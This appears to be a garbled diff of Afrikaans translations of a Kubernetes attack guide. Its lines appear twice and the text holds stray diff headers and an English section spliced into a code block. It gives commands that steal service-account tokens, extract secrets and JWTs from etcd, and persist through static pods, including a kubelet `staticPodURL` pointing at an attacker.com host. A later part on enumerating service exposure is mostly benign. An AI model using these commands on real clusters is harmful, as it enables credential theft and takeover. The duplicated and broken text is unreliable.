Na node access, hersien ook hoe die node private images pull. Nuttige bewyse sluit in runtime image metadata (`crictl images`), Pod- of ServiceAccount `imagePullSecrets`, containerd registry configuration soos `/etc/containerd/config.toml` en `/etc/containerd/certs.d`, en kubelet image credential provider flags soos `--image-credential-provider-config` en `--image-credential-provider-bin-dir`.
Moenie aanvaar dat n gecachede private image beteken jy het herbruikbare registry credentials nie. Dit mag net bewys dat die image op hierdie node bestaan. Statiese runtime registry credentials, Docker config JSON pull secrets, of n credential provider wat kortlewende pull credentials kan mint, kan egter private registry access blootstel. Onlangse Kubernetes weergawes ondersteun ook service-account-token-gebaseerde kubelet credential providers vir image pulls, so kyk of die provider Pod-bound service account tokens gebruik en watter audience dit request voordat jy die impak rapporteer.
### Find node kubeconfig
As jy nie die kubeconfig file in een van die voorheen genoem paths kan vind nie, **check die argument `--kubeconfig` van die kubelet process**:
As jy nie die kubeconfig file in een van die voorheen kommentaar-gemaakte paths kan vind nie, **check die argument `--kubeconfig` van die kubelet proses**:
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
@@ -199,7 +205,7 @@ echo ""
fi
done
```
Die script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) sal outomaties **die tokens van ander pods kry en kyk of hulle die toestemming** het waarna jy soek (in plaas daarvan dat jy 1 vir 1 kyk):
Die script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) sal outomaties **die tokens van ander pods kry en kyk of hulle die permission** het waarvoor jy soek (in plaas daarvan dat jy hulle 1 vir 1 nagaan):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
@@ -227,81 +233,112 @@ NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes het die **role master** en in **cloud managed clusters sal jy nie enigiets daarop kan laat loop nie**.
control-plane nodes het die **role master** en in **cloud managed clusters sal jy niks op hulle kan laat loop nie**.
#### Lees secrets uit etcd 1
#### Lees secrets uit `etcd` 1
As jy jou pod op n control-plane node kan laat loop met die `nodeName` selector in die pod spec, kan jy maklike toegang tot die `etcd` database, wat al die configuration vir die cluster bevat, insluitend al die secrets.
As jy jou pod op n control-plane node kan laat loop met die `nodeName` selector in die pod spec, kan jy maklik toegang kry tot die `etcd` database, wat al die configuration vir die cluster bevat, insluitend al die secrets.
Hieronder is n vinnige en slordige manier om secrets uit `etcd` te trek as dit op die control-plane node loop waarop jy is. As jy n meer elegante solution wil hê wat n pod met die `etcd` client utility `etcdctl` opstart en die control-plane node se credentials gebruik om met etcd te connect waar dit ook al loop, kyk na [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) van @mauilion.
Hieronder is n vinnige en vuil manier om secrets uit `etcd` te gryp as dit op die control-plane node loop waarop jy is. As jy n meer elegante solution wil hê wat n pod opstart met die `etcd` client utility `etcdctl` en die control-plane node se credentials gebruik om aan te sluit by `etcd` waar ook al dit loop, kyk na [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) van @mauilion.
**Check om te sien of `etcd` op die control-plane node loop en sien waar die database is (Dit is op n `kubeadm` created cluster)**
**Kyk of `etcd` op die control-plane node loop en kyk waar die database is (Dit is op n `kubeadm` created cluster)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
## Attacking Kubernetes from inside a pod
# Aanvalling van 'n Kubernetes van binne 'n Pod
Even from inside a pod, you can often get a lot of information from the Kubernetes environment and potentially abuse it.
As jy net toegang binne 'n Pod het, kan jy steeds baie nuttige inligting insamel en dalk verder beweeg.
In many cases, the pod has a service account token mounted at:
## Inligting-insameling
```bash
/var/run/secrets/kubernetes.io/serviceaccount/token
```
With this token, you can interact with the Kubernetes API if the service account has enough permissions. A quick test is:
```bash
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc
```
If this works, enumerate what the token can do. For example:
```bash
kubectl auth can-i --token="$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" --list
```
or directly query the API:
```bash
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc/api/v1/pods
```
If you can list pods, secrets, deployments, or other resources, you may be able to escalate your access, obtain credentials, or move laterally.
Another common target is the pod's environment variables. Sometimes they contain credentials, API keys, or cluster details:
Eerstens, kyk na die omgewing veranderlikes:
```bash
env
```
Also check mounted volumes and files for configs such as kubeconfig, cloud credentials, or application secrets.
Soek vir belangrike geheime, soos:
If the pod is privileged or has dangerous capabilities, you may be able to access the host filesystem or interact with the container runtime. This can lead to full node compromise.
- `KUBERNETES_SERVICE_HOST`
- `KUBERNETES_SERVICE_PORT`
- `KUBERNETES_PORT`
- `KUBERNETES_PORT_443_TCP`
- `KUBERNETES_PORT_443_TCP_ADDR`
- `KUBERNETES_PORT_443_TCP_PORT`
- `KUBERNETES_PORT_443_TCP_PROTO`
Common things to look for include:
Jy kan ook die **service account** identifiseer wat die Pod gebruik:
- service account tokens
- kubeconfig files
- secrets mounted as files
- cloud credentials
- privileged containers
- hostPath mounts
- dangerous Linux capabilities
```bash
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```
In short, a pod can be a useful foothold for attacking the rest of the cluster.
Die token kan gebruik word om teen die Kubernetes API te autentiseer. Met dit kan jy probeer om die cluster te verken:
```bash
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api
```
As die **RBAC**-konfigurasie swak is, kan jy moontlik meer hulpbronne lys, geheime lees, of selfs workloads manipuleer.
## Verdere beweging
Sommige algemene misbruike sluit in:
- lees van `Secrets`
- lys van `Pods`, `Deployments`, `Nodes`
- toegang tot die `kubelet`
- misbruik van `hostPath` volumes
- gebruik van `privileged` Pods
- toegang tot die onderliggende node deur `container escape`
As die Pod sekere capabilities het of verkeerd gekonfigureer is, kan jy dalk:
- toegang kry tot ander namespaces
- lêers van die host lees
- credentials steel
- lateral movement uitvoer
## Kubelet toegang
Die `kubelet` luister dikwels op poort `10250` of `10255`. As dit onbeskermd is, kan dit inligting oor die node en Pods blootstel, en in sommige gevalle ook toelaat om kommandos binne containers uit te voer.
## service account token misbruik
As die service account token oorbreë permissies het, kan jy dit gebruik om:
- nuwe Pods te skep
- bestaande Pods te verander
- `Secrets` te lees
- `ClusterRoleBindings` te skep
- toegang tot meer sensitiewe bronne te verkry
## Aanbevelings
Om hierdie tipe aanvalle te verminder:
- gebruik die minimum nodige RBAC-permissies
- moenie onnodige service account tokens mount nie
- beperk toegang tot die `kubelet`
- vermy `privileged` Pods
- beperk `hostPath` volumes
- gebruik `NetworkPolicies`
- harden nodes en containers
```bash
data-dir=/var/lib/etcd
```
**Bekyk die data in etcd database:**
**Kyk die data in die etcd database:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Onttrek die tokens uit die database en wys die service account name**
**Onttrek die tokens uit die databasis en wys die diensrekeningnaam**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**Selfde bevel, maar met sommige greps om net die verstek-token in die kube-system-naamruimte terug te gee**
**Selfde opdrag, maar sommige greps om net die default token in die kube-system namespace terug te gee**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
@@ -309,10 +346,10 @@ Output:
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Lees secrets uit etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### Lees secrets uit `etcd` 2 [van hier](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Skep 'n snapshot van die **`etcd`** database. Gaan [**hierdie script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) na vir verdere inligting.
2. Dra die **`etcd`** snapshot op jou gunsteling manier van die node af oor.
1. Skep 'n snapshot van die **`etcd`** database. Kyk [**hierdie script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) vir meer inligting.
2. Dra die **`etcd`** snapshot uit die node oor op jou gunsteling manier.
3. Pak die database uit:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
@@ -326,33 +363,33 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Kry die secfrets:
6. Kryg die secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ word direk deur die kubelet daemon op n spesifieke node bestuur, sonder dat die API server dit dophou. Anders as Pods wat deur die control plane bestuur word, byvoorbeeld n Deployment; in plaas daarvan, **monitor die kubelet elke static Pod** (en herbegin dit as dit misluk).
_Static Pods_ word direk deur die kubelet daemon op 'n spesifieke node bestuur, sonder dat die API server hulle waarneem. Anders as Pods wat deur die control plane bestuur word (byvoorbeeld, 'n Deployment); in plaas daarvan, **monitor die kubelet elke static Pod** (en herbegin dit as dit faal).
Daarom is static Pods altyd **gekoppel aan een Kubelet** op n spesifieke node.
Daarom is static Pods altyd **gebind aan een Kubelet** op 'n spesifieke node.
Die **kubelet probeer outomaties om n mirror Pod op die Kubernetes API server** vir elke static Pod te skep. Dit beteken dat die Pods wat op n node loop op die API server sigbaar is, maar nie van daar af beheer kan word nie. Die Pod name sal n agtervoegsel hê met die node hostname met n vooropgestelde koppelteken.
Die **kubelet probeer outomaties om 'n mirror Pod op die Kubernetes API server te skep** vir elke static Pod. Dit beteken dat die Pods wat op 'n node loop sigbaar is op die API server, maar nie van daar af beheer kan word nie. Die Pod-name sal 'n agtervoegsel hê met die node hostname met 'n voorafgaande koppelteken.
> [!CAUTION]
> Die **`spec` van n static Pod kan nie na ander API objects verwys nie** (bv. ServiceAccount, ConfigMap, Secret, ens. So **jy kan nie hierdie gedrag misbruik om n pod met n arbitrêre serviceAccount** op die huidige node te begin om die cluster te kompromitteer nie. Maar jy kan dit wel gebruik om pods in verskillende namespaces te laat loop (indien dit om een of ander rede nuttig is).
> Die **`spec` van 'n static Pod kan nie na ander API objects verwys nie** (bv. ServiceAccount, ConfigMap, Secret, ens. So **jy kan nie hierdie gedrag misbruik om 'n pod met 'n arbitrêre serviceAccount** in die huidige node te lanseer om die cluster te kompromitteer nie. Maar jy kan dit gebruik om pods in verskillende namespaces te laat loop (indien dit om een of ander rede nuttig is).
As jy binne die node host is kan jy dit laat n **static pod binne homself** skep. Dit is baie nuttig omdat dit jou kan toelaat om **n pod in n ander namespace** soos **kube-system** te skep.
As jy binne die node host is, kan jy dit laat 'n **static pod binne homself** skep. Dit is baie nuttig omdat dit jou dalk toelaat om **'n pod in 'n ander namespace** soos **kube-system** te skep.
Om n static pod te skep, is die [**docs is n groot hulp**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Jy benodig basies 2 dinge:
Om 'n static pod te skep, is die [**docs 'n groot hulp**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Jy het basies 2 dinge nodig:
- Stel die parameter **`--pod-manifest-path=/etc/kubernetes/manifests`** in die **kubelet service**, of in die **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) en herbegin die service
- Skep die definisie op die **pod definition** in **`/etc/kubernetes/manifests`**
- Konfigureer die param **`--pod-manifest-path=/etc/kubernetes/manifests`** in die **kubelet service**, of in die **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) en herbegin die service
- Skep die definisie in die **pod definition** in **`/etc/kubernetes/manifests`**
**Nog n meer stealth manier sou wees om:**
**Nog 'n meer stealth manier sou wees om:**
- Verander die parameter **`staticPodURL`** van die **kubelet** config file en stel iets soos `staticPodURL: http://attacker.com:8765/pod.yaml` in. Dit sal die kubelet proses laat n **static pod** skep deur die **configuration van die aangeduide URL** te kry.
- Wysig die param **`staticPodURL`** in die **kubelet** config file en stel iets soos `staticPodURL: http://attacker.com:8765/pod.yaml`. Dit sal die kubelet proses laat 'n **static pod** skep deur die **konfigurasie vanaf die aangeduide URL** te kry.
**Example** van **pod** configuration om n privilege pod in **kube-system** te skep, geneem van [**hier**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
**Voorbeeld** van **pod** konfigurasie om 'n privilege pod in **kube-system** te skep, geneem van [**hier**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -380,7 +417,7 @@ type: Directory
```
### Delete pods + unschedulable nodes
As 'n aanvaller 'n **node gekompromitteer** het en hy kan **pods verwyder** van ander nodes en **ander nodes nie in staat maak om pods uit te voer nie**, sal die pods weer op die gekompromitteerde node uitgevoer word en hy sal in staat wees om die **tokens te steel** wat daarin loop.\
As 'n aanvaller 'n **node gekompromitteer** het en hy **pods kan delete** van ander nodes en **ander nodes onmoontlik kan maak om pods uit te voer**, sal die pods weer op die gekompromitteerde node uitgevoer word en sal hy in staat wees om die **tokens te steal** wat daarin loop.\
Vir [**meer inligting volg hierdie skakels**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Automatic Tools
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Daar is **verskillende maniere om services bloot te stel** in Kubernetes sodat beide **interne** endpoints en **eksterne** endpoints hulle kan toegang. Hierdie Kubernetes-konfigurasie is nogal krities, aangesien die administrateur **attackers toegang kan gee tot services waartoe hulle nie toegang behoort te hê nie**.
Daar is **verskillende maniere om services bloot te stel** in Kubernetes sodat beide **internal** endpoints en **external** endpoints hulle kan toegang. Hierdie Kubernetes-konfigurasie is nogal krities, aangesien die administrator **attackers toegang kan gee tot services waartoe hulle nie toegang behoort te hê nie**.
### Automatic Enumeration
Voordat jy begin om die maniere te enumereer wat K8s bied om services aan die publiek bloot te stel, weet dat as jy namespaces, services en ingresses kan lys, jy alles wat publiek blootgestel is kan vind met:
Voordat jy begin om die maniere te enumerate wat K8s bied om services aan die publiek bloot te stel, weet dat as jy namespaces, services en ingresses kan lys, jy alles wat aan die publiek blootgestel is kan vind met:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
```
### ClusterIP
'n **ClusterIP** service is die **standaard** Kubernetes **service**. Dit gee jou 'n **service binne** jou cluster wat ander apps binne jou cluster kan gebruik. Daar is **geen eksterne toegang** nie.
n **ClusterIP** service is die **verstek** Kubernetes **service**. Dit gee jou n **service binne** jou cluster wat ander apps binne jou cluster kan toegang. Daar is **geen eksterne toegang**.
Dit kan egter via die Kubernetes Proxy gebruik word:
Dit kan egter met die Kubernetes Proxy verkry word:
```bash
kubectl proxy --port=8080
```
Nou kan jy deur die Kubernetes API navigeer om services te access using this scheme:
Nou kan jy deur die Kubernetes API navigeer om services te verkry deur hierdie skema te gebruik:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
@@ -34,7 +34,7 @@ Byvoorbeeld, jy kan die volgende URL gebruik:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
om toegang tot hierdie service te kry:
om toegang tot hierdie service te verkry:
```yaml
apiVersion: v1
kind: Service
@@ -50,7 +50,7 @@ port: 80
targetPort: 80
protocol: TCP
```
_Hierdie metode vereis dat jy `kubectl` as n **geauthentiseerde gebruiker** laat loop._
_Hierdie metode vereis dat jy `kubectl` as n **geauthentiseerde gebruiker** moet uitvoer._
Lys alle ClusterIPs:
```bash
@@ -58,13 +58,13 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
```
### NodePort
Wanneer **NodePort** gebruik word, word n aangewese poort beskikbaar gemaak op alle Nodes (wat die Virtual Machines verteenwoordig). **Traffic** wat na hierdie spesifieke poort gerig word, word dan sistematies **na die service gerouteer**. Tipies word hierdie metode nie aanbeveel nie weens sy nadele.
Wanneer **NodePort** gebruik word, word n aangewese poort op al die Nodes (wat die Virtual Machines verteenwoordig) beskikbaar gestel. **Traffic** wat na hierdie spesifieke poort gerig word, word dan sistematies **na die service gerouteer**. Tipies word hierdie metode nie aanbeveel nie weens sy nadele.
Lys alle NodePorts:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
'n Voorbeeld van NodePort-spesifikasie:
n Voorbeeld van NodePort-spesifikasie:
```yaml
apiVersion: v1
kind: Service
@@ -81,24 +81,25 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
As jy **nie die** **nodePort** in die yaml spesifiseer nie (dit is die poort wat oopgemaak sal word), sal n poort in die **reeks 3000032767 gebruik word**.
As jy die **nodePort** nie in die yaml **spesifiseer** nie (dis die poort wat oopgemaak sal word), sal n poort in die **reeks 3000032767 gebruik word**.
Wanneer NodePort- of LoadBalancer-Services hersien word, inspekteer ook traffic-policy fields omdat hulle verander watter nodes en backends nuttig is vanaf n gegewe bron:
Wanneer NodePort- of LoadBalancer-Services nagegaan word, inspekteer ook traffic-policy-velde, want hulle verander watter nodes en backends nuttig is vanaf n gegewe bron:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` behou die oorspronklike kliënt bron-IP vir NodePort/LoadBalancer traffic en vermy forwarding na endpoints op ander nodes. n node sonder n plaaslike ready endpoint mag die traffic drop, selfs al het die Service elders endpoints.
- `externalTrafficPolicy: Cluster` is die default en kan deur enige node forward, maar backend logs mag node IPs sien in plaas van die werklike eksterne kliënt-IP.
- `internalTrafficPolicy: Local` beperk in-cluster Service traffic tot endpoints wat plaaslik op die bron-node is. Dit is locality routing, nie n authorization boundary nie.
- `sessionAffinity: ClientIP` kan herhaalde tests vanaf een client laat hit dieselfde backend, wat ander ready endpoints tydens manual checks verberg.
- `trafficDistribution` en EndpointSlice topology hints kan dieselfde-zone of dieselfde-node endpoints op nuwer clusters voorkeur gee; behandel dit as routing preferences eerder as harde security policy.
- NodePorts word normaal op node-adresse blootgestel, maar kube-proxy kan die adresreekse beperk met `--nodeport-addresses` of `nodePortAddresses` in sy konfigurasie. Kontroleer die aktiewe kube-proxy- of CNI service-proxy replacement-konfigurasie voordat jy aanvaar die NodePort is op elke node IP bereikbaar.
- `externalTrafficPolicy: Local` behou die oorspronklike kliënt-bron-IP vir NodePort/LoadBalancer-verkeer en vermy forwarding na endpoints op ander nodes. n node sonder n plaaslike ready endpoint kan die verkeer drop selfs al het die Service elders endpoints.
- `externalTrafficPolicy: Cluster` is die verstek en kan via enige node forward, maar backend logs mag node IPs sien in plaas van die ware eksterne kliënt-IP.
- `internalTrafficPolicy: Local` beperk in-cluster Service-verkeer tot endpoints wat plaaslik op die bron node is. Dit is locality routing, nie n authorization boundary nie.
- `sessionAffinity: ClientIP` kan herhaalde toetse van een kliënt laat op dieselfde backend uitkom, wat ander ready endpoints tydens handmatige kontroles wegsteek.
- `trafficDistribution` en EndpointSlice topology hints kan op nuwer clusters dieselfde-zone of dieselfde-node endpoints verkies; behandel dit as routing preferences eerder as harde security policy.
### LoadBalancer
Expose die Service ekstern **met behulp van 'n cloud provider se load balancer**. Op GKE sal dit n [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) opstel wat jou n enkele IP address gee wat al die traffic na jou service sal forward. In AWS sal dit n Load Balancer launch.
Bloot die Service ekstern **met behulp van n cloud provider se load balancer**. Op GKE sal dit n [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) opstel wat vir jou n enkele IP address gee wat al die verkeer na jou service sal forward. In AWS sal dit n Load Balancer lanseer.
Jy moet betaal vir n LoadBalancer per exposed service, wat duur kan wees.
Jy moet vir n LoadBalancer per blootgestelde service betaal, wat duur kan wees.
Lys alle LoadBalancers:
```bash
@@ -107,15 +108,15 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
### External IPs
> [!TIP]
> External IPs word blootgestel deur services van type Load Balancers en hulle word oor die algemeen gebruik wanneer 'n external Cloud Provider Load Balancer gebruik word.
> External IPs word blootgestel deur services van tipe Load Balancers en hulle word oor die algemeen gebruik wanneer n eksterne Cloud Provider Load Balancer gebruik word.
>
> Om hulle te vind, kyk vir load balancers met waardes in die `EXTERNAL-IP` veld.
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` is not managed by Kubernetes and is the responsibility of the cluster administrator.
Traffic wat die cluster binnekom met die **external IP** (as **destination IP**), op die Service-poort, sal **gerouteer word na een van die Service endpoints**. `externalIPs` word nie deur Kubernetes bestuur nie en is die verantwoordelikheid van die cluster administrator.
`externalIPs` is a sensitive route-control field because a user who can set it might claim traffic for an IP address the Service owner should not control if the surrounding network routes that IP to the cluster. Kubernetes announced the deprecation and planned removal of Service `externalIPs` in v1.36, so prefer controller-owned exposure mechanisms such as LoadBalancer integrations or Gateway API where possible, and restrict/admit this field carefully while it still exists.
`externalIPs` is n sensitiewe route-control veld omdat n gebruiker wat dit kan stel verkeer kan eis vir n IP address wat die Service owner nie behoort te beheer nie as die omliggende network daardie IP na die cluster route. Kubernetes het die deprecation en beplande verwydering van Service `externalIPs` in v1.36 aangekondig, so verkies controller-owned exposure mechanisms soos LoadBalancer integrasies of Gateway API waar moontlik, en beperk/admit hierdie veld versigtig terwyl dit nog bestaan.
In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
In die Service spec, kan `externalIPs` saam met enige van die `ServiceTypes` gespesifiseer word. In die voorbeeld hieronder, kan "`my-service`" deur clients toegang verkry by "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
kind: Service
@@ -134,7 +135,7 @@ externalIPs:
```
### ExternalName
[**Uit die docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services van die tipe ExternalName **map 'n Service na 'n DNS name**, nie na 'n tipiese selector soos `my-service` of `cassandra` nie. Jy spesifiseer hierdie Services met die `spec.externalName` parameter.
[**Uit die docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services van tipe ExternalName **map a Service na 'n DNS name**, nie na 'n tipiese selector soos `my-service` of `cassandra` nie. Jy spesifiseer hierdie Services met die `spec.externalName` parameter.
Hierdie Service-definisie, byvoorbeeld, map die `my-service` Service in die `prod` namespace na `my.database.example.com`:
```yaml
@@ -147,7 +148,9 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
Wanneer jy die host `my-service.prod.svc.cluster.local` opsoek, stuur die cluster DNS Service n `CNAME`-rekord terug met die waarde `my.database.example.com`. Toegang tot `my-service` werk op dieselfde manier as ander Services, maar met die deurslaggewende verskil dat **omleiding op die DNS-vlak plaasvind** eerder as via proxying of forwarding.
Wanneer `my-service.prod.svc.cluster.local` opgevra word, gee die cluster DNS Service n `CNAME`-rekord terug met die waarde `my.database.example.com`. Toegang tot `my-service` werk op dieselfde manier as ander Services, maar met die belangrike verskil dat **herleiding op DNS-vlak plaasvind** eerder as via proxying of forwarding.
Security review-noot: as n Ingress controller, Gateway implementation, service mesh, of application n ExternalName Service as n backend aanvaar, kan die controller die eksterne naam vanuit sy eie netwerkposisie resolve en bereik. Dit kan internal-only services blootstel deur public routing infrastructure wanneer gebruikers beide die route object en die ExternalName Service kan skep. Hersien die spesifieke controller implementation en version, ExternalName support flags of allowlists, route status, en die presiese target domain voordat dit as veilig beskou word. Byvoorbeeld, Skipper het n Kubernetes ExternalName SSRF issue in v0.24.0 gepatch deur ExternalName backends by verstek te deaktiveer en n allowlist option te dokumenteer.
Lys alle ExternalNames:
```bash
@@ -155,16 +158,16 @@ kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices wys die konkrete backend-adresse en poorte waarna 'n Service tans roeteer. Hulle is veral nuttig wanneer 'n Service geen selector het nie, wanneer labels nie die traffic-pad verduidelik nie, of wanneer slegs sommige backends gereed is.
EndpointSlices wys die konkrete backend-adresse en poorte waarna 'n Service tans routeer. Hulle is veral nuttig wanneer 'n Service geen selector het nie, wanneer labels nie die verkeerpad verduidelik nie, of wanneer slegs sommige backends gereed is.
Lys EndpointSlices wat met Services geassosieer is:
Lys EndpointSlices geassosieer met Services:
```bash
kubectl get endpointslices --all-namespaces
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
When reviewing exposure, compare the Service selector with the EndpointSlice `targetRef`, endpoint addresses, readiness conditions, and ports. A selectorless Service can be paired with manually managed EndpointSlices and route traffic to non-Pod or unexpected destinations.
Wanneer jy exposure hersien, vergelyk die Service selector met die EndpointSlice `targetRef`, endpoint addresses, readiness conditions, en ports. n selectorless Service kan gekoppel word aan handmatig bestuurde EndpointSlices en traffic na nie-Pod of onverwagte bestemmings stuur.
### Ingress
@@ -172,9 +175,9 @@ Anders as al die bogenoemde voorbeelde, **Ingress is NIE n tipe service nie**
Jy kan baie verskillende dinge met n Ingress doen, en daar is **baie tipes Ingress controllers wat verskillende capabilities het**.
Die verstek GKE ingress controller sal vir jou n [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) opstel. Dit sal jou toelaat om beide path-gebaseerde en subdomain-gebaseerde routing na backend services te doen. Byvoorbeeld, jy kan alles op foo.yourdomain.com na die foo service stuur, en alles onder die yourdomain.com/bar/ path na die bar service.
Die verstek GKE ingress controller sal vir jou n [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) opstel. Dit sal jou toelaat om beide path-based en subdomain-based routing na backend services te doen. Byvoorbeeld, jy kan alles op foo.yourdomain.com na die foo service stuur, en alles onder die yourdomain.com/bar/ path na die bar service.
Die YAML vir n Ingress object op GKE met n [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kan dalk só lyk:
Die YAML vir n Ingress object op GKE met n [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kan dalk so lyk:
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
@@ -218,27 +221,36 @@ kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API is die nuwer Kubernetes API vir die blootstel van Services. Dit skei infrastruktuur-besitte Gateway objects van application-besitte Route objects soos HTTPRoute. Dit is nuttig vir delegation, maar dit beteken ook dat exposure oor namespaces verdeel kan word.
Gateway API is die nuwer Kubernetes API vir die blootstel van Services. Dit skei infrastruktuur-besit Gateway objects van application-besit Route objects soos HTTPRoute. Dit is nuttig vir delegasie, maar dit beteken ook dat exposure oor namespaces verdeel kan word.
Lys Gateway API exposure objects:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
Kontroleer Gateway listeners, toegelate route namespaces, Route `parentRefs`, hostnames, filters, backend references, en status conditions soos of die route aanvaar was. n Route wat deur n shared Gateway aanvaar word, kan n backend blootstel selfs wanneer geen legacy Ingress object bestaan nie.
